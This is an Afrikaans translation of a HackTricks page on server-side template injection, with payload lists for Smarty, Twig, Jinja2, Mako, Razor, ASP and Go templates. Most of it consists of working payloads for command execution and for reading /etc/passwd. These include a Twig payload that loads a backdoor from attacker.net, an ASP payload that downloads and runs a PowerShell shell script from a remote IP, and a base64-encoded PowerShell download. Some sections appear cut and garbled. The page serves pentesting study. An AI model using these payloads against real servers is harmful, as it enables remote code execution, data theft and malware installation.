# SSTI (Server Side Template Injection) {% hint style="success" %} Leer & oefen AWS Hacking:

[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)

\ Leer & oefen GCP Hacking:

[**HackTricks Training GCP Red Team Expert (GRTE)**

](https://training.hacktricks.xyz/courses/grte)

Ondersteun HackTricks

* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

{% endhint %}

[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline. {% embed url="https://www.rootedcon.com/" %} ## ### Smarty (PHP) ```php {$smarty.version} {php}echo `id`;{/php} //deprecated in smarty v3 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} {system('ls')} // compatible v3 {system('cat index.php')} // compatible v3 ``` **Meer inligting** * In Smarty afdeling van [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) ### Twig (PHP) * `{{7*7}} = 49` * `${7*7} = ${7*7}` * `{{7*'7'}} = 49` * `{{1/0}} = Error` * `{{foobar}} Niks` ```python #Get Info {{_self}} #(Ref. to current application) {{_self.env}} {{dump(app)}} {{app.request.server.all|join(',')}} #File read "{{'/etc/passwd'|file_excerpt(1,30)}}"@ #Exec code {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}} {{['id']|filter('system')}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}} {{['id',""]|sort('system')}} #Hide warnings and errors for automatic exploitation {{["error_reporting", "0"]|sort("ini_set")}} ``` **Twig - Sjabloonformaat** ```php $output = $twig > render ( 'Dear' . $_GET['custom_greeting'], array("first_name" => $user.first_name) ); $output = $twig > render ( "Dear {first_name}", array("first_name" => $user.first_name) ); ``` **Meer inligting** * In die Twig en Twig (Sandboxed) afdeling van [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) ### Plates (PHP) Plates is 'n templating engine wat inheems aan PHP is, wat inspirasie uit Twig put. Dit is egter anders as Twig, wat 'n nuwe sintaksis bekendstel, gebruik Plates inheemse PHP-kode in templates, wat dit intuïtief maak vir PHP-ontwikkelaars. Controller: ```php // Create new Plates instance $templates = new League\Plates\Engine('/path/to/templates'); // Render a template echo $templates->render('profile', ['name' => 'Jonathan']); ``` Bladsy sjabloon: ```php layout('template', ['title' => 'User Profile']) ?>

User Profile

Hello, e($name)?>

``` Layout sjabloon: ```html <?=$this->e($title)?> section('content')?> ``` **Meer inligting** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates) ### PHPlib en HTML\_Template\_PHPLIB (PHP) [HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) is dieselfde as PHPlib, maar na Pear oorgedra. `authors.tpl` ```html {PAGE_TITLE}

Authors
Name	Email
{NUM_AUTHORS}
{AUTHOR_NAME}	{AUTHOR_EMAIL}

` ```python {% raw %} {% debug %} {% endraw %} {{settings.SECRET_KEY}} {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 ``` **Jinja2 - Sjabloonformaat** ```python {% raw %} {% extends "layout.html" %} {% block body %}

{{ user.username }}

{% endblock %} {% endraw %} ``` [**RCE nie afhanklik van**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`: ```python {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }} # Or in the shotest versions: {{ cycler.__init__.__globals__.os.popen('id').read() }} {{ joiner.__init__.__globals__.os.popen('id').read() }} {{ namespace.__init__.__globals__.os.popen('id').read() }} ``` **Meer besonderhede oor hoe om Jinja te misbruik**: {% content-ref url="jinja2-ssti.md" %} [jinja2-ssti.md](jinja2-ssti.md) {% endcontent-ref %} Ander payloads in [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) ### Mako (Python) ```python <% import os x=os.popen('id').read() %> ${x} ``` **Meer inligting** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako) ### Razor (.Net) * `@(2+2) <= Sukses` * `@() <= Sukses` * `@("{{code}}") <= Sukses` * `@ <=Sukses` * `@{} <= FOUT!` * `@{ <= FOUT!` * `@(1+2)` * `@( //C#Code )` * `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` * `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` Die .NET `System.Diagnostics.Process.Start` metode kan gebruik word om enige proses op die bediener te begin en dus 'n webshell te skep. Jy kan 'n kwesbare webapp voorbeeld vind in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) **Meer inligting** * [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-$SSTI$-in-ASP.NET-Razor/) * [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/) ### ASP * `<%= 7*7 %>` = 49 * `<%= "foo" %>` = foo * `<%= foo %>` = Niks * `<%= response.write(date()) %>` = \ ```xml <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> ``` **Meer Inligting** * [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp) ### Mojolicious (Perl) Alhoewel dit perl is, gebruik dit etikette soos ERB in Ruby. * `<%= 7*7 %> = 49` * `<%= foobar %> = Error` ``` <%= perl code %> <% perl code %> ``` ### SSTI in GO In Go se sjabloon enjin kan bevestiging van sy gebruik gedoen word met spesifieke payloads: * `{{ . }}`: Ontbloot die datastruktuur invoer. Byvoorbeeld, as 'n objek met 'n `Password` attribuut oorgedra word, kan `{{ .Password }}` dit blootstel. * `{{printf "%s" "ssti" }}`: Verwag om die string "ssti" te vertoon. * `{{html "ssti"}}`, `{{js "ssti"}}`: Hierdie payloads behoort "ssti" terug te gee sonder om "html" of "js" by te voeg. Verdere riglyne kan in die Go dokumentasie [hier](https://golang.org/pkg/text/template) ondersoek word. **XSS Exploitation** Met die `text/template` pakket kan XSS eenvoudig wees deur die payload direk in te voeg. In teenstelling hiermee, kodeer die `html/template` pakket die antwoord om dit te voorkom (bv. `{{""}}` lei tot `<script>alert(1)</script>`). Nietemin kan sjabloon definisie en aanroep in Go hierdie kodering omseil: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} vbnet Copy code **RCE Exploitation** RCE uitbuiting verskil aansienlik tussen `html/template` en `text/template`. Die `text/template` module laat toe om enige publieke funksie direk aan te roep (met die “call” waarde), wat nie toegelaat word in `html/template`. Dokumentasie vir hierdie modules is beskikbaar [hier vir html/template](https://golang.org/pkg/html/template/) en [hier vir text/template](https://golang.org/pkg/text/template/). Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafde objek 'n `System` metode het wat opdragte uitvoer, kan dit soos `{{ .System "ls" }}` uitgebuit word. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegewe voorbeeld: ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() return string(out) } ``` **Meer inligting** * [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to) * [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) ### Meer Exploits Kyk na die res van [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) vir meer exploits. Jy kan ook interessante etiket inligting vind in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) ## BlackHat PDF {% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %} ## Verwante Hulp As jy dink dit kan nuttig wees, lees: * [Flask truuks](../../network-services-pentesting/pentesting-web/flask.md) * [Python magiese funksies](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md) ## Gereedskap * [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA) * [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap) * [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap) * [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table) ## Brute-Force Opsporing Lys {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} ## Oefening & Verwysings * [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting) * [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) * [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)

[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)

\ Leer & oefen GCP Hacking:

[**HackTricks Training GCP Red Team Expert (GRTE)**

](https://training.hacktricks.xyz/courses/grte)

Ondersteun HackTricks

{% endhint %}